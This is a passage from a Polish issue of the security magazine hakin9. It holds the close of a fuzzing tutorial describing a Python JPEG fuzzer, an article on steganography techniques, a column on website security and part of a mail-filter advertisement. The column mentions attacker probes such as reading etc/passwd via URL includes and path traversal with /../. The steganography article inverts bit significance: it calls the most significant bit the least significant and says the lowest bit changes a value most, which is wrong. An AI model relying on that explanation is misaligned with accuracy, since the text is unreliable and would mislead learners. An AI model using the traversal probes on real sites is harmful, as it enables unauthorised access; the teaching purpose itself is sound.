obiektów COM Windows. Jest to jak
dotąd jedyna główna platforma fuz-
zingowa, zdolna poradzić sobie z
osobliwościami coraz popularniejszej
platformy .NET Framework.

Dokumentacja programu została

automatycznie utworzona z kodu źró-
dłowego. Dzięki temu jest ona bardzo
obszerna i ma dobrą strukturę. Jednak
automatycznie tworzone odnośniki nie
są zbyt odpowiednie dla początkują-
cych programistów. To dlatego Peach
jest skierowany raczej dla zaawanso-
wanych deweloperów Pythona.

Funkcjonalność można najogól-

niej podzielić na cztery części. Są
to generatory, transformatory, proto-
koły i publikatory. Generatory są wy-
korzystywane do generowania da-
nych, takich jak stringi lub pakiety
TCP. Transformatory zmieniają dane
kompresując je lub kodując. Protoko-
ły zajmują się specyficznymi potrze-
bami fuzzingu sieciowego. Publika-
tory są używane do przeprowadze-
nia właściwego procesu fuzzingu po-
przez przesyłanie pakietów lub zapi-
sywanie danych do pliku.

Chociaż nie jest możliwe stwo-

rzenie fuzzera przez proste połącze-
nie tych obiektów, ułatwiają one two-
rzenie fuzzerów, oszczędzają bo-
wiem czas potrzebny do napisania
wielu linii prostego kodu dla wielu
zwykłych problemów.

Twój własny fuzzer

Na zakończenie napiszmy nasz wła-
sny fuzzer. Pierwsze dwa pytania, na
które trzeba odpowiedzieć sobie, pi-
sząc fuzzer to:

• Co będzie celem fuzzingu?
• Jakiego języka programowania

użyć?

W tym przykładzie stworzymy fuz-
zer dla obrazów JPG, a dokładniej dla
kontenera JFIF, który zawiera te obra-
zy. Oczywiście moglibyśmy użyć do-
wolnego znanego fuzzera plikowego,
aby to zrobić, ale taki fuzzer nie wie-
działby o specjalnych cechach konte-
nera JFIF i najprawdopodobniej wpro-
wadziłby zmiany do jego ważnych
części. To doprowadziłoby do powsta-
nia pliku, którego większość użytkow-
ników nie chciałaby wczytać. Użyje-
my Pythona, ponieważ charaktery-
zuje się łatwą strukturą, dobrą czytel-
nością, szybkim czasem tworzenia i
ogromną biblioteką standardową.

Kontener JFIF składa się z nagłów-

ka i części z danymi. Nagłówek jest
pomijany przez większość współcze-
snych programów. Stąd też, począ-
tek części z danymi nabiera wielkiego
znaczenia dla pliku. Początek części z
danymi jest oznaczony przez tak zwa-
ny znacznik SOI, po którym następuje
sekwencja bajtów oznaczająca konte-
ner z danymi jako kontener JFIF. Na-
wet jeśli nowoczesne przeglądarki ob-
razów mogą działać także bez niego,
zaleca się zachowanie go bez zmian,
aby zagwarantować zgodność ze star-
szym oprogramowaniem. Deklarująca
sekwencja bitów jest skonstruowana
w następujący sposób: \xff\xe0\x00\
x10\x4a\x46\x49\x00\x01

Po wiodących bajtach następuje

część, którą chcemy poddać fuzzingo-
wi, zawierająca dane obrazów podzie-
lone na segmenty. Koniec tej informacji
jest oznaczony poprzez bajty \xff\xd9.

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

72

Aby nie powodować komplikacji,

zmusimy nasz program do poddania
fuzzingowi normalnego obrazu JPG.
Następnie zamieni on ok. 10% baj-
tów w części z danymi losowo wy-
branymi nowymi bajtami.

Przykładowy program, który

spełnia określone wymagania, moż-
na znaleźć na Listingu 1. Jak za-
wsze, istnieje jednak wiele dróg do
osiągnięcia celu. Najpierw importu-
jemy niezbędne moduły. Pierwszym
krokiem jest stworzenie funkcji, któ-
ra zwróci sygnał do zmiany danego
bajta z szansą na powodzenie wy-
noszącą 10 procent. Chociaż Py-
thon nie ma takiej funkcji w swojej
bibliotece standardowej, bardzo ła-
two jest ją stworzyć przy użyciu funk-
cji randint() z modułu random. ran-

dint() przyjmuje dwie liczby całkowi-
te jako argumenty i zwraca liczbę lo-
sową, której wartość mieści się w za-
kresie utworzonym przez podane ar-
gumenty. Stąd też nasza funkcja two-
rzy liczbę o wartości między 1 a 10
za każdym razem, kiedy zostanie wy-
wołana. W przypadku, kiedy liczba ta
jest równa dowolnie wybranej liczbie
mieszczącej się w tym samym zakre-
sie, zwracana jest wartość 1, w prze-
ciwnym razie funkcja zwraca 0.

Fuzzer otwiera następnie da-

ny plik i zapisuje jego zawartość
w zmiennej. Części, które nie ma-
ją być poddane fuzzingowi, zosta-
ją oddzielone od reszty danych i po-
została część (torso) jest zapisywa-
na w nowej zmiennej. Następnie ma
miejsce istotny krok, podczas które-
go fuzzer iteruje po każdym bajcie za
pomocą pętli while, po tym jak baj-
ty zostały przegrupowane w tablicę.
Dla każdego bajta wywoływana jest
funkcja chance. Jeśli zwraca war-
tość 1, odpowiedni bajt jest zastępo-
wany przez nowo wybrany bajt. Lo-
sowy wybór bajta jest łatwy do wy-
konania poprzez wygenerowanie lo-
sowej liczby pomiędzy 0 i 255, a na-
stępnie jej zamianę na wartość szes-
nastkową za pomocą funkcji hex().
Na zakończenie elementy, które zo-
stały usunięte, zostają ponownie do-
dane do początku i końca danych, a
następnie wszystko jest zapisywane
do nowego pliku.

Wszystko, co jeszcze pozostało

do zrobienia to zmuszenie progra-
mu, który chcemy przetestować, do
nieustannego otwierania nowoutwo-
rzonych obrazów. Albo jeszcze lepiej
– możemy napisać niewielki skrypt,
który wykona za nas tę pracę, zre-
laksować się i czekać na wystąpie-
nie usterki.

Podsumowanie

Dotarliśmy do końca tego krótkiego
wprowadzenia poświęconego fuzzin-
gowi. Na poprzednich stronach na-
uczyliśmy się teoretycznych pod-
staw fuzzingu i zdobyliśmy pierwszy
wgląd w odpowiednie techniki i ana-
lizę. Teraz wiemy już, czym jest fuz-
zing i skąd się wziął. Znamy teore-
tyczne podstawy i całkiem sporą ilość
istniejących fuzzerów do praktyczne-
go użycia. Nic nie powinno nam więc
przeszkodzić w wykorzystaniu fuzze-
rów dla własnych potrzeb. Możemy
użyć już istniejącego fuzzera do testo-
wania nowych lub nieznanych progra-
mów bądź systemów. Możemy wypo-
sażyć istniejący fuzzer w nowe funk-
cje i zacząć szukać luk w każdej apli-
kacji, która nas zainteresuje. Żaden
fuzzer nie zawiera jeszcze wszystkich
możliwych funkcji! Możemy wreszcie
napisać swój własny fuzzer dla okre-
ślonego celu, który przyciągnął naszą
uwagę. Na cokolwiek się zdecyduje-
my, prawdopodobnie żadne inne roz-
wiązanie w porównaniu z fuzzingiem,
nie da nam większej szansy na znale-
zienie słabych punktów, które można
wykorzystać.

Aktualnie fuzzing jest niezbęd-

nym narzędziem dla poprawy jako-
ści oprogramowania i bardzo korzyst-
ną techniką dla każdego hakera. Na-
wet jeśli popularność tej techniki jest
niekiedy bardzo zmienna, niemożli-
we jest myślenie o nowoczesnych te-
stach oprogramowania bez tej techni-
ki. Dzięki dużej szybkości osiągnię-
tej poprzez wykorzystanie automa-
tycznego fuzzingu, pojedynczy te-
ster oprogramowania może znacząco
zwiększyć swoją skuteczność i dzię-
ki temu znaleźć o wiele więcej błę-
dów, które najprawdopodobniej zo-
stałyby przeoczone przy klasycznej
analizie kodu. Błędem byłoby jednak

traktowanie fuzzingu jako non plus ul-

tra zabezpieczeń oprogramowania.
Tylko dzięki ostrożnemu połączeniu
wszystkich dostępnych technik moż-
na zapewnić bezpieczeństwo opro-
gramowania.

Mam nadzieję, że ten artykuł (na-

wet jeśli zawierał jedynie podstawy)
pomógł Ci zrozumieć, czym jest fuz-
zing – i co o wiele ważniejsze – za-
interesował tym tematem. Co wię-
cej, mam nadzieję, że posłuży Ci ja-
ko obszerne wprowadzenie i okaże
się przydatny.

Fuzzing jest jedną z najbardziej in-

teresujących technik w dziedzinie za-
bezpieczeń komputerowych, która
jest aktualnie stosowana. Ma ogrom-
ny potencjał dla zainteresowanych lu-
dzi o wszystkich poziomach umiejęt-
ności, zaczynając od kompletnego no-
wicjusza, który używa fuzzera do auto-
matycznego wyszukiwania luk w swo-
jej przeglądarce internetowej, po profe-
sjonalistę projektującego fuzzery dla
nieznanych protokołów. Proces rozpo-
wszechniania się fuzzerów, który ma
miejsce w ciągu ostatnich kilka lat spo-
wodował, że współczesne oprogramo-
wanie stało się trochę bardziej bez-
pieczne. Mimo to technika ta nigdy nie
będzie w stanie rozwiązać wszystkich
problemów związanych z bezpieczeń-
stwem komputerowym. Aby tak się
stało, o wiele ważniejszą rzeczą jest
bowiem to, by wszyscy zaangażowa-
ni ludzie, od dewelopera do użytkow-
nika, zrozumieli, że bezpieczeństwo
systemów jest ważnym atutem, któ-
ry nie powinien być spychany na dal-
szy plan przez szybki czas powstawa-
nia oprogramowania lub wysoką sku-
teczność. l

O autorze

Autor ma obecnie 18 lat i czteroletnie
praktyczne doświadczenie w dziedzi-
nach związanych z tworzeniem opro-
gramowania oraz sieci i administrowa-
niem systemami Linuksa. Interesuje
się muzyką, teologią oraz bezpieczeń-
stwem komputerowym. Chce zdobyć
kwalifikacje, które pozwolą mu jak naj-
szybciej wyemigrować do Japonii.
Kontakt do autora: psz@observed.de.

background image
background image

www.hakin9.org

hakin9 Nr 7/2007

74

Początki

S

teganografia to nauka o ukrywaniu infor-
macji w taki sposób, aby tylko upoważ-
nione osoby mogły ją odczytać. Wiado-

mości można ukrywać w bardzo różnych rze-
czach, m.in. innych wiadomościach, obrazach,
muzyce, plikach binarnych, komunikatach sie-
ciowych. Praktycznie każda, nie rodząca nad-
miernych podejrzeń, wymiana informacji mo-
że być przykrywką dla stworzenia tajnego ka-
nału informacyjnego między wtajemniczony-
mi osobami.

Naturalnie techniki steganograficzne można

łączyć z technikami kryptologicznymi, tworząc
wielopoziomowy system zabezpieczający pouf-
ność danego kanału. Pierwszym krokiem włamy-
wacza musi być odkrycie, w jaki sposób faktycz-
nie atakowane strony się porozumiewają, a dopie-
ro potem atakowanie wydobytych kryptogramów.

Nietrudno sobie wyobrazić taki oto przykła-

dowy scenariusz komunikacyjny: dwie strony
dogadują się, że będą się porozumiewać przy
pomocy publicznego serwisu dla amatorów fo-
tografii. Wiadomości będą ukryte w prezento-
wanych zdjęciach. Alicja zaszyfruje (lub nie)
swój tekst jawny, ukryje go w zrobionym wcze-
śniej zdjęciu i opublikuje plik JPG jako swoją
najnowszą produkcję zdjęciową. Bobek będzie

codziennie sprawdzał zdjęciową galerię Alicji.
Kiedy odnajdzie nowe zdjęcie, wydobędzie z
niego ukrytą wiadomość, odszyfruje ją i prze-
czyta. Jeśli zechce odpowiedzieć, zrobi to w
analogiczny sposób, jak to uczyniła Alicja.

Dla dodatkowego zatarcia śladów obie stro-

ny mogą systematycznie dodawać do swoich
galerii zdjęcia bez ukrytych wiadomości. Dla
nich wyłuskanie tych właściwych nie będzie
zadaniem trudnym (jeśli cała procedura od-
czytywania wiadomości zawiedzie dla danego
zdjęcia będą wiedzieli, że to konkretne zdjęcie
było zasłoną dymną), natomiast dla potencjal-
nych ciekawskich będzie to znaczące utrudnie-

Steganografia

Cezary Cerekwicki

stopień trudności

Podczas gdy kryptologia od zawsze skupiała się na

zabezpieczeniu przechwyconej informacji przed odczytaniem,

steganografia zabezpieczała informację przed przechwyceniem.

Od zawsze używano technik steganograficznych do

zabezpieczenia kanału informacyjnego przed niepowołanym

dostępem osób trzecich.

Z artykułu dowiesz się

• na czym polega steganografia,
• jakich technik używano dotychczas,
• jakie techniki są używane współcześnie.

Co powinieneś wiedzieć

• Wskazane jest rozumienie podstaw terminologii

kryptologicznej, znajomość podstaw informaty-
ki, oraz kompresji JPEG.

background image

Steganografia

hakin9 Nr 7/2007

www.hakin9.org

75

nie (mogą np. spędzić mnóstwo cza-
su szukając ukrytej informacji tam,
gdzie jej nie ma).

Naukę o metodach wykrywania

steganografii nazywa się stegoanali-
zą (przez analogię z kryptoanalizą).

Historia

Niektóre metody steganograficzne
są znane od dawna. Najstarsza o
nich wzmiaka pochodzi od Herodota
z 440 roku przed naszą erą.

Klasycznym przypadkiem stega-

nografii było użycie atramentu sym-
patycznego (tzn. takiego, który w
normalnych warunkach nie jest wi-
doczny). Przygotowywano wiado-
mość zwodniczą, zapisaną klasycz-
nie, a między jej wierszami zapisy-
wano wiadomość rzeczywistą. Stąd
wzięło się powiedzenie czytać mię-

dzy wierszami.

Przeczytanie wiadomości zapisa-

nej atramentem sympatycznym wy-
maga wykonania jakieś czynności,
ujawniającej ukryty tekst. Może to
być m.in. zanurzenie kartki w specjal-
nej substancji chemicznej czy pod-
świetlenie jej odpowiednim światłem.

W starożytności używano wosko-

wych (gdzie indziej glinianych) tablic,
gdy nie znano jeszcze papieru. Dla
nich też opracowano technikę ste-
ganograficzną: bardzo cienkie tabli-
ce, dokładnie o połowę cieńsze niż
klasyczne. Na jednej pisano wiado-
mość prawdziwą, na drugiej zwodni-
czą. Następnie łączono je tak, że wy-
glądały na jedną tablicę normalnych
rozmiarów, oczywiście z tekstem
zwodniczym na wierzchu. Gdy pod-
kładką pod wosk była deska, można
było wiadomość wyryć na niej, przy-
kryć ją woskiem i na nim nanieść
wiadomość fałszywą.

Inna ciekawa technika polega-

ła na wytatuowaniu wiadomości na
ogolonej głowie niewolnika, której
następnie pozwalano zarosnąć. W
czasach przed rewolucją informa-
cyjną czas odrastania włosów nie był
w wielu zastosowaniach dużym pro-
blemem, ponieważ interakcje mię-
dzynarodowe były dużo wolniejsze
niż dzisiaj; sama podróż posłańców
między odległymi państwami potrafi-
ła trwać miesiącami.

Współczesna

steganografia

Dzisiaj o steganografii myślimy głów-
nie w kontekście komputerów i Inter-
netu, dających nam olbrzymie moż-
liwości w dziedzinie ukrywania taj-
nych wiadomości. W Sieci krążą gi-
gantyczne ilości danych, dające się
wykorzystać jako zasłona dymna,
wiele z nich jest redundantnych i od-
pornych na niewielkie zmiany. Są
one pozornie przypadkowe, ale w
rzeczywistości dla wtajemniczonych
jak najbardziej sensowne.

Technika spacji

Prostą techniką ukrywania informacji w
plikach tekstowych może być dokłada-
nie spacji na końcu każdej linii (ozna-
cza to jedynkę) lub brak takiej spacji
(oznacza to zero). Pojemność tej tech-
niki nie jest duża, zaledwie jeden bit na
linijkę tekstu, ale przy niektórych ty-
pach tekstów (np. kodach źródłowych,
które często mają wiele krótkich linii)
może się od biedy sprawdzić. Można
też przyjąć inne kodowanie, np. czwór-
kowe z użyciem spacji i innego niewi-
docznego znaku jako zera, wówczas
pojemność znacznie wzrośnie. Spacje
na końcach linii są niewidoczne, więc
na pierwszy rzut oka tekst zawierają-
cy ukrytą wiadomość wygląda iden-
tycznie jak taki sam tekst bez wiado-
mości. Technika jest dość prosta do
wykrycia, więc nie nadaje się do po-
ważnych zastosowań. Inny będzie
rozmiar pliku, a spacje widać nawet w
większości edytorów tekstu.

Least significant bit

Least significant bit (LSB) to uniwer-
salna technika steganograficzna, da-
jąca się zastosować w każdym typie

plików, gdzie charakter danych po-
zwala na pewną tolerancję błędu. W
szczególności będą to pliki graficzne
i muzyczne.

Jak wiadomo z podstaw informa-

tyki, poszczególne bity w danym sło-
wie reprezentującym liczbę nie wpły-
wają tak samo na jej wartość. Zmia-
na najstarszego bitu najmniej wpły-
wa na wartość, natomiast zmiana bi-
tu najmłodszego doprowadzi do naj-
większej zmiany reprezentowanej
liczby. Innymi słowy im bit starszy,
tym jego wartość w mniejszym za-
kresie wpływa na wartość całej licz-
by. Z tego właśnie powodu najstar-
szy bit nazywa się bitem najmniej
znaczącym (least significant).

Na tej własności opiera się tech-

nika LSB. W przypadku bitmapy, w
której każdy piksel reprezentowany
jest przez 3 słowa (wyrażające odpo-
wiednio nasycenie czerwienią, ziele-
nią i błękitem), możemy w każdym z
nich użyć najmniej znaczącego bitu
do zakodowania ukrytej informacji. W
ten sposób każdy piksel ukryje 3 bity
wiadomości. Nietrudno obliczyć, że
bitmapa w rozdzielczości 1024x768
pozwoli przechować 294912 baj-
ty wiadomości, a więc całkiem spo-
ro. Zważywszy, że taką bitmapę mo-
żemy skompresować dowolnym al-
gorytmem (ale koniecznie bezstrat-
nym!), technika LSB zaczyna wyglą-
dać dość interesująco.

Dzięki temu, że modyfikujemy je-

dynie najmniej znaczące bity, wpływ
na jakość obrazka powinien być nie-
wielki i niewidoczny nawet w dużym
powiększeniu. Odróżnienie koloru
#030101 od #020102 gołym okiem
jest raczej niemożliwe (a o takiego
rzędu różnicach tu mówimy).

Rysunek 1.

W grafice po lewej stronie ukryto obrazek, który jest po prawej

stronie

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

76

Automatyczne wykrywanie ste-

ganografii jest w przypadku ogól-
nym zadaniem bardzo trudnym. Na-
wet jeśli oryginalne źródło obraz-
ka jest znane (a w praktyce to ma-
ło prawdopodobne, wystarczy uży-
wać np. amatorskich zdjęć jako no-
śników i zawsze bezpiecznie kaso-
wać oryginały bez ukrytej wiadomo-
ści), bo jest nim np. Dama z łasiczką,
to i tak można ją zakodować na try-
liardy sposobów, w różnych skalach,
kolorystykach, metodach i stopniach
kompresji czy formatach plików gra-
ficznych. Odróżnienie sekwencji naj-
mniej znaczących bitów, która jest
zaszyfrowaną wiadomością od przy-
padkowej sekwencji wygenerowanej
na skutej jakiejś operacji na obrazku
(choćby najzwyklejszego przeskalo-
wania go) jest bardzo trudne.

Tym niemniej, w najprostszym

scenariuszu stegoanalitycznym uda-
ło się stworzyć kilka metod określa-
jących ze znaczącym prawdopodo-
bieństwem, czy w danym pliku gra-
ficznym jest ukryta informacja, czy
nie. Założenia tego najprostszego
scenariusza są jednak bardzo dale-
ko idące, przede wszystkim zakła-
da się znajomość użytej przez prze-
ciwnika techniki. Zważywszy, jak ła-
two jest tworzyć nowe techniki lub
modyfikować istniejące (znacząco
zmieniając ich objawy), jest to spo-
re ograniczenie. W sekcji W Sieci za-
mieszczony jest adres strony z opi-
sem ataku na prosty przypadek uży-
cia LSB.

Próbowano stworzyć bardziej

ogólne metody, opierające się na
badaniu statystycznym obrazków z
ukrytymi wiadomościami oraz obraz-
ków bez takich wiadomości, ale do-
tarłem jedynie do artykułów, w któ-
rych opisywano fiasko takiego po-
dejścia oraz dość rozsądne wyja-
śnienia, dlaczego stworzenie ogólnej
metody jest mało prawdopodobne.

Kiedy użyta technika jest znana,

wykrycie steganografii bywa w przy-
padku mniej wyrafinowanych algoryt-
mów (takich jak LSB) dość proste.

JPEG

Opis procesu kompresji i dekompre-
sji plików JPEG opisany jest w wielu

źródłach, zatem nie będziemy tu jej
przytaczać.

Zabiegi steganograficzne z re-

guły wykonuje się podczas wykony-
wania kwantyfikacji, czyli już po dys-
kretnej transformacie cosinusowej i

zygzakowaniu. Wiadomość można
ukryć w macierzy kwantyfikacji uży-
wając techniki LSB (a więc nadpisu-
jąc najmniej znaczące bity). Dzięki
temu, że macierz kwantyfikacji jest
pewną strukturą pomocniczą, którą
każdy program graficzny może two-
rzyć według własnego uznania, a
potem dołączać do nagłówka pliku
JPEG, jego lekko zmienione warto-
ści nie są mocno podejrzane.

Kiedy wiadomo, że modyfika-

cji uległa macierz kwantyfikacji, od-
zyskanie ukrytej wiadomości nie jest
trudne. Detekcja steganografii tego
typu również nie jest szalenie trudna
(ale też nie banalna). Pomaga tu fakt,
że JPEG ma też standardowe macie-
rze kwantyfikacji, zatem można ła-
two odfiltrować te pliki, które posługu-
ją się właśnie nimi i skupić się na po-
zostałych.

Powstało też wiele innych pomy-

słów na ukrywanie wiadomości w pli-
kach JPEG, głównie w jego nagłów-
ku, ponieważ bitmapa podlega kom-
presji stratnej i ukrywanie w niej in-
formacji (a już szczególnie przy uży-
ciu techniki LSB) prowadziłoby do jej
zniszczenia.

Inne pomysły

W kryptografii szyfrów blokowych
używa się niekiedy techniki uzu-
pełniania tekstu jawnego o ciąg
danych losowych, aby dopasować
długość danych wejściowych do
wielokrotności bloku akceptowane-
go przez dany algorytm szyfrujący.

Innym celem dodawania losowo-
ści na końcu tekstu jawnego bywa
chęć dodatkowego skomplikowa-
nia danych prowadzące do lepsze-
go kryptogramu.

W każdym razie podczas odszy-

frowywania te dane są odzyskiwa-
ne i w normalnych warunkach odrzu-
cane jako produkt uboczny. Jednak
nic nie stoi na przeszkodzie, aby za-
miast danych prawdziwie losowych
umieszczać tam kryptogram tajne-
go tekstu, dołączać go do fałszy-
wego tekstu jawnego i całość jesz-
cze raz zaszyfrować (koniecznie in-
nym kluczem, a może nawet innym
algorytmem).

Podsumowanie

W ten sposób nawet jeśli ktoś

złamie zewnętrzny szyfr, otrzyma
fałszywy tekst jawny oraz trochę
danych, wyglądających jak typowe
śmieci dołączane do tekstu w celu
dopasowania jego długości do wielo-
krotności standardowego bloku. Je-
śli nawet owe śmieci kogoś bliżej za-
interesują, to będzie jeszcze musiał
przeprowadzić kolejny atak krypto-
analityczny, odgadując kolejny klucz
do kolejnego algorytmu. l

W Sieci

• tu jest opisany atak na prostą steganografię opartą o technikę LSB:

http://guillermito2.net/stegano/inplainview/index.html,

• tu opisano algorytm F5 oraz kod źródłowy programu atakującego go:

http://wwwrn.inf.tu-dresden.de/~westfeld/attacks.html,

• tu opisano, jak wykorzystywać steganografię w PHP (strona zawiera kod źródłowy):

http://puremango.co.uk/cm_steganography_112.php,

• eksperymentować ze steganografią można także przy pomocy tego programu:

http://www.truecrypt.org/.

O autorze

Autor z wykształcenia jest informaty-
kiem i politologiem. Pracował jako pro-
gramista, administrator, konsultant, tłu-
macz, koordynator międzynarodowych
projektów, dziennikarz i publicysta. Pi-
sał programy w dziesięciu językach
programowania (od asemblerów po ję-
zyki skryptowe) w czterech systemach
operacyjnych, na dwóch platformach
sprzętowych.
Kontakt do autora: cerekwicki@tlen.pl

background image
background image

hakin9 Nr 7/2007

www.hakin9.org

78

FELIETON

P

rzemyślenia inspirowane chętnie podejmowa-
nym ostatnio tematem poziomu bezpieczeństwa
stron internetowych, skłoniły mnie do napisania

tego krótkiego tekstu. O konieczności bezpieczeństwa
danych na stronie WWW nie trzeba w ogóle pisać, bo to
jasne jak słońce. Jednak nie wszyscy myślą tak, jak ja.
Zacząłem niedawno badać niektóre skrypty php dostęp-
ne w Sieci i niestety dochodzę do smutnego wniosku, że
duża ich część jest napisana zupełnie nieprzemyślanie,
a w najlepszym razie nie zadbano o ich istotne szcze-
góły. Ile się mówi teraz na temat sql injection albo script

kiddies? Jest to zaraza Internetu, zaraza naszego spo-
łeczeństwa. Przez podobnych agresorów nasze spo-
łeczeństwo kuleje. Ale zaraz! Przecież oni nie zawsze
postępują jednoznacznie źle. Dzięki nim dowiadujemy
się, że najsłabszym ogniwem bezpieczeństwa stron
WWW jest człowiek. Niektórzy sobie pomyślą: Młody,

nic nie wie, a się udziela, ale tu jest wręcz odwrotnie.
Może i jestem młody wiekiem, ale potrafię dostrzec
takie anomalie w Sieci. W bardzo krótkim czasie wysu-
nąłem odpowiednie wnioski, co dodatkowo potwierdza
moje spostrzeżenia.

Otóż ludziom bardzo opornie przychodzi bycie ory-

ginalnym w naszym konformistycznym świecie. Duża
rzesza skrzypciarzy (młodych) w ogóle nie dba o bez-
pieczeństwo swoich prac, a co dopiero mówić o pro-
gramistach już doświadczonych! I to ma być przyszłość
naszego narodu? Przykładów nie trzeba szukać nie
wiadomo jak daleko. Już pierwszy, jaki przychodzi mi
na myśl, idealnie zobrazuje to, co chcę Wam przeka-
zać. Otóż ostatnia fala hacking.pl dowiodła, że nawet
potężne korporacje nie zawsze są przyzwoicie zabez-
pieczone. Jako przykład podam błędy w zabezpiecze-
niach strony firmy KAREN, zajmującej się sprzeda-
żą notebooków. Otóż agresor zdobył nieautoryzowany
dostęp do bazy MySQL i podmienił opisy notebooków.
Jak to możliwe? Tutaj kolejny raz zawiódł system. W
skryptach najprawdopodobniej była luka, przez którą
nie było trudno pozyskać dostęp do bazy. Warto zazna-
czyć że autorem engine'u jest firma z Bielsko-Białej,
nie posiadająca nawet swojej strony WWW. Jaki z tego
wyciągamy wniosek? Nawet doświadczeni programiści
zawsze gdzieś popełnią jakiś błąd. To jest nieodłącz-

Bezpieczeństwo

na szybkiego

ny warunek tworzenia skryptów czy programów, lecz
to nie zwalnia z obowiązku ich przetestowania. To nie
zaszkodzi a w dodatku możemy się zabezpieczyć na
przyszłość.

Wiele możemy znaleźć w Internecie informacji na

temat zabezpieczenia się przed sql injection oraz tzw.

script kiddies. Tokeny i filtracja zmiennych (wszyst-
kich!) – oto najczęściej zaniedbywane elementy skryp-
tów. Token tokenowi nierówny, a nie wszystkie zmien-
ne są filtrowane. Bo po co filtrować wartość pola check-

box? No tak, problemu nie ma, póki formularz jest na
stronie macierzystej. Wystarczy jednak zrobić takowy
u siebie, a pole checkbox zastąpić polem textarea i
wysłać nieocenzurowaną treść. Jak się przed tym obro-
nić? Php serwuje nam ogromną ilość funkcji zabez-
pieczających. Więcej na stronie php i mojej, poda-
nej w ramce. Popularne w środowisku script kiddies
jest też sprawdzanie zawartości etc/passwd lub, jeżeli
mamy includowanie strony w url'u, listowania katalo-
gu. Przed takimi prostymi sposobami użytkownicy nie
zabezpieczają się, bo myślą, że nikt nie wpadnie na
aż tak głupi pomysł. Jednak jest inaczej. Jeżeli serwer
jest odpowiednio skonfigurowany, to z pierwszą ścież-
etc/passwd powinno się nie udać, ale jeśli z konfigu-
racją jest coś nie tak, agresor ma materiał do kolejnych
kroków w celu uzyskania nieautoryzowanego dostępu
do danych. Drugi przykład (dodanie /../) listuje obecny
katalog. Nie wiem dlaczego tak jest, ale spotkałem się
z takim błędem na stronach kolegów. Bardzo prosto
można się przed tym zabezpieczyć funkcją str_replace.
Więcej informacji na ten temat znajdą Państwo na stro-
nie http://pl2.php.net/manual/pl/index.php.

Należy pamiętać, że agresorzy w dużej mierze pole-

gają na własnej spostrzegawczości, a nie na sprawdzo-
nych już sposobach, miejmy więc się na baczności.

Patryk Szlagowski

O autorze:

Autor jest miłośnikiem bezpieczeństwa internetowego. W
wolnym czasie zajmuje się freelancerstwem i prowadzeniem
swojej strony www.haes-squad.net
Kontakt do autora: patrykszlagowski@interia.pl

background image

MESSAGE PROCESSING PLATFORM
(MPP) - SYSTEM OCHRONY POCZTY

MPP amerykańskiej firmy Message Partners po-
zwala zaoszczędzić cenny czas każdego admi-
nistratora – łącząc prostotę z zaawansowanymi
możliwościami szczegółowej konfiguracji. Dzięki
systemowi poczta jest chroniona przed spamem
i wirusami, możemy filtrować jej treść, a także ar-
chiwizować wiadomości przychodzące i wycho-
dzące – ale to tylko podstawowe funkcje. Prawdzi-
wego „smaczku” dodają systemowi jego pozostałe
możliwości.

MODUŁOWA BUDOWA

MPP posiada modułową budowę, dzięki czemu
łatwo może zostać dopasowany do potrzeb, a
także umożliwia łatwą rekonfigurację całego
systemu pocztowego. Podstawę stanowi moduł
zarządzający MPP, działający poprzez https, w
którym administrator definiuje całość polityk
bezpieczeństwa dla poczty w firmie. Do modu-
łu zarządzającego dołączane są dodatkowe ska-
nery – antywirusowe i antyspamowe. W wersji
podstawowej MPP korzysta ze SpamAssassina
i Clam-AV, natomiast dla wzmocnienia ochrony,
administrator może dokupić komercyjne skane-
ry zintegrowane z MPP (antywirusowe: NOD32,
Kaspersky, Sophos, antyspamowe: Cloudmark i
Mailshell).

MPP wykorzystuje wszystkie skanery poczty

jako engine’y skanujące. Zadaniem np. skanera Cla-
mAV współpracującego z MPP jest przyjęcie e-ma-
ila od MPP, przeskanowanie go i odesłanie informa-
cji o rezultacie oraz ewentualnie e-maila z napra-
wionym lub usuniętym załącznikiem. Właśnie dzię-
ki takiemu rozwiązaniu, administrator nie musi się
zaprzątać sobie głowy ustawieniami poszczegól-
nych skanerów.

JAK SZYBKO ZMIENIĆ
ANTYWIRUSA W CAŁEJ FIRMIE?

W zależności od zdefiniowanych polityk, różne gru-
py użytkowników mogą korzystać z różnych skane-
rów lub też z kilku skanerów jednocześnie (typowa
sytuacja np. dla providera posiadającego konta dar-
mowe i komercyjne). Jeśli stwierdzimy, że jakaś gru-
pa ma korzystać z innego skanera niż dotychczas
używany, możemy go podmienić, nie naruszając po-
zostałych ustawień. Cała operacja trwa kilka sekund
- po prostu z listy skanerów wybierzemy nowy, klika-
my – i to wszystko. Nowy skaner skanuje pocztę, a
cała konfiguracja polityk pozostaje niezmieniona.

Równie prosta jest hipotetyczna zmiana obsłu-

gującego naszą pocztę serwera. Pomijając fakt, że
sama zamiana z serwera np.: Sendmail na Postfixa
byłaby dość czasochłonna, jeśli wcześniej filtrowa-
liśmy pocztę za pośrednictwem MPP, nie musimy
się przejmować konfiguracją skanerów poczty. Wy-
starczy bowiem w MPP zamienić jedną linię w pli-
ku konfiguracyjnym lub wybrać nowy serwer pocz-
towy w panelu https, aby wszystkie skanery z ty-
mi samymi ustawieniami zaczęły współpracować z
nowym serwerem pocztowym.

Cały system może być zarządzany z konsoli w

trybie graficznym. Dzięki temu nic nie konfiguruje-
my z linii poleceń. Po prostu wybieramy to, co nas
interesuje, klikając na odpowiednie opcje. W ten
sposób tworzymy szerokie polityki bezpieczeń-
stwa dla różnych działów w firmie, wszystko we-
dług indywidualnych potrzeb.

JAK ZMINIMALIZOWAĆ
ILOŚĆ PYTAŃ UŻYTKOWNIKÓW?

Opcjonalnie dostępne są moduły do zarządzania
kwarantanną i archiwum. Sprawdzanie kwarantan-
ny każdego pracownika, odpowiadanie na pytania
typu – „czy coś nie zostało zatrzymane, bo czekam
na ważny e-mail?” – mogą wyprowadzać z równo-
wagi i zajmować dużo czasu. Dzięki modułom prze-
glądania kwarantanny z poziomu przeglądarki, każ-
dy pracownik sam może teraz sprawdzać e-maile lo-
gując się na odpowiedniej stronie WWW. Moduły są
na tyle przejrzyste i czytelne, iż nawet słabo zorien-
towany pracownik da sobie z nimi radę. Każdy użyt-
kownik w swoim katalogu kwarantanny i archiwum
może przejrzeć listę e-maili, wyszukiwać przesył-
ki w oparciu o różne kryteria, przesyłać, uwalniać z

kwarantanny, usuwać e-maile, a także tworzyć wła-
sną białą i czarną listę adresów. Jeśli administrator
chce, aby użytkownicy mieli zawsze „przy sobie” ca-
ły swój spam, możemy tak skonfigurować MPP, aby
wszystkie e-maile spamowe były wrzucane do spe-
cjalnego spamowego katalogu (IMAP) dostępne-
